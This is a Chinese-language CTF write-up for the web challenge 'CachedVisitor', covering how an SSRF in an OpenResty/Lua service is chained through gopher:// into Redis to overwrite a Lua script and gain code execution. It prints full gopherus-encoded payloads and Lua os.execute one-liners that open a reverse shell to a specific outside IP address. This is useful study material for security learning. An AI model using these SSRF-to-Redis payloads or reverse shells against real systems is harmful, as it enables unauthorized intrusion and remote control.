WEB
CachedVisitor
有docker。这个比赛我也没有报名,以为不是CTF,早知道就和队友报了,不然就进线下了🥵。
——————————
给了docker,简单审一下docker,是执行的一个lua脚本,然后nginx后端。
看了一下源代码:
main.lua:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return content
end
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
|
visit.script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
ngx.say("URL parameter is missing!")
return
end
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)
local ok, err = pcall(c.perform, c)
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
local response_str = table.concat(response_body)
local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
ngx.say(response_str)
##LUA_END##
|
可以看到这里的代码运行,在visit.script文件就是一个连接redis,然后发送url请求的过程。
在mian.lua中,可以知道主要逻辑就是运行visit.script文件。
然后就看题吧。
开题如下:

ssrf,并且可以读文件:

但是不能直接读flag,权限不够:

其实这个在dockerfile中是有说明的:
1
2
3
4
|
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
|
可以看到赋予权限的操作。
尝试打redis,这样先用dict协议查看一次redis的基本信息:

可以看到redis的版本,这里应该是不能打redis主从复制的来getshell,看docker文件,是需要执行/readflag文件来读取文件的。
错误做法
这里是先踩了一个坑的,也来记录一下,后端没有执行什么语言,所以不能写php文件,这里我想使用gopherus工具,所以只有用来尝试写定时任务来反弹shell:

这里简单改一下payload即可,弹到2333端口去,如下:
1
|
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/47.100.223.173/2333%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|
然后抓包url编码一下发包:

然后在vps上监听一下2333端口。
但是一直没成功,然后可以使用dict协议来看是否成功写入:

查看这个1的内容:

可以看出来就是一个反弹shell的操作。
后面一直都打不成功。想了一下,以为是环境不出网,但是发现是出网的:

继续想,可能是因为环境中都不能打定时任务,在dockerfile中都没有下载crontab这个命令:

所以是打不了的。需要想其他的方法。
后面我就一直看文件,想到了nginx配置是否有突破点,这个同样是在docker中给了的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html;
}
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
lua_code_cache off;
}
}
|
这里关键就是如下代码:
这里将lua_code_cache
设置为off,说明nginx不会缓存之前的编译效果,也就是每次发起请求,nginx都会重新编译这个lua脚本,也就是main.lua文件。
纵观main.lua文件,可以发现是引用了visit.script文件的,那么现在就迸发出一个思路,可以尝试覆盖visit.script文件,将这个文件内容改为是一个命令执行的地方,然后重新发起请求,就可以执行这个visit.script文件,从而成功达到一次命令执行。
写文件的话就是参照redis中的写php文件的操作。
让gpt给了一个弹shell的命令:
1
|
##LUA_START##os.execute('bash -i >& /dev/tcp/47.100.223.173/2333 0>&1')##LUA_END##
|
这里我是先尝试了sec_tool工具,但是一直打不成功,这里是可以用gopherus工具的,但是需要改一下,结果还是没打通,看了一下别人的wp,用的弹shell的命令如下:
1
|
##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/47.100.223.173/2333 0>&1'")##LUA_END##
|
又是这个原因,后面还是注意用更稳定的吧。
所以直接用gopherus生成payload:

这里是打的php文件,需要改一下payload,gopheru打这个用的RESP协议,学ssrf的时候就简单了解了,原payload:
1
|
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2493%0D%0A%0A%0A%23%23LUA_START%23%23os.execute%28%22bash%20-c%20%27sh%20-i%20%26%3E/dev/tcp/47.100.223.173/2333%200%3E%261%27%22%29%23%23LUA_END%23%23%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A/scripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|
这里就只需要改一下文件名以及长度:
1
2
3
|
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2493%0D%0A%0A%0A%23%23LUA_START%23%23os.execute%28%22bash%20-c%20%27sh%20-i%20%26%3E/dev/tcp/47.100.223.173/2333%200%3E%261%27%22%29%23%23LUA_END%23%23%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A/scripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%
.. ............
0D%0A%2412%0D%0Avisit.script%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|
改的地方用点标记出来了,就是改了一下文件名以及长度。
然后将改了后的payload 再URL编码一下发包即可:
第一次发包:

然后再第二次发包,点一下send即可,成功弹上shell:

然后再执行readflag文件即可:

最后成功得到flag。
这里还有队友打的用于直接执行然后回显到当前页面上的lua执行命令:
1
2
3
|
##LUA_START##
ngx.say(io.popen("/readflag"):read("*all"))
##LUA_END##
|
——————————————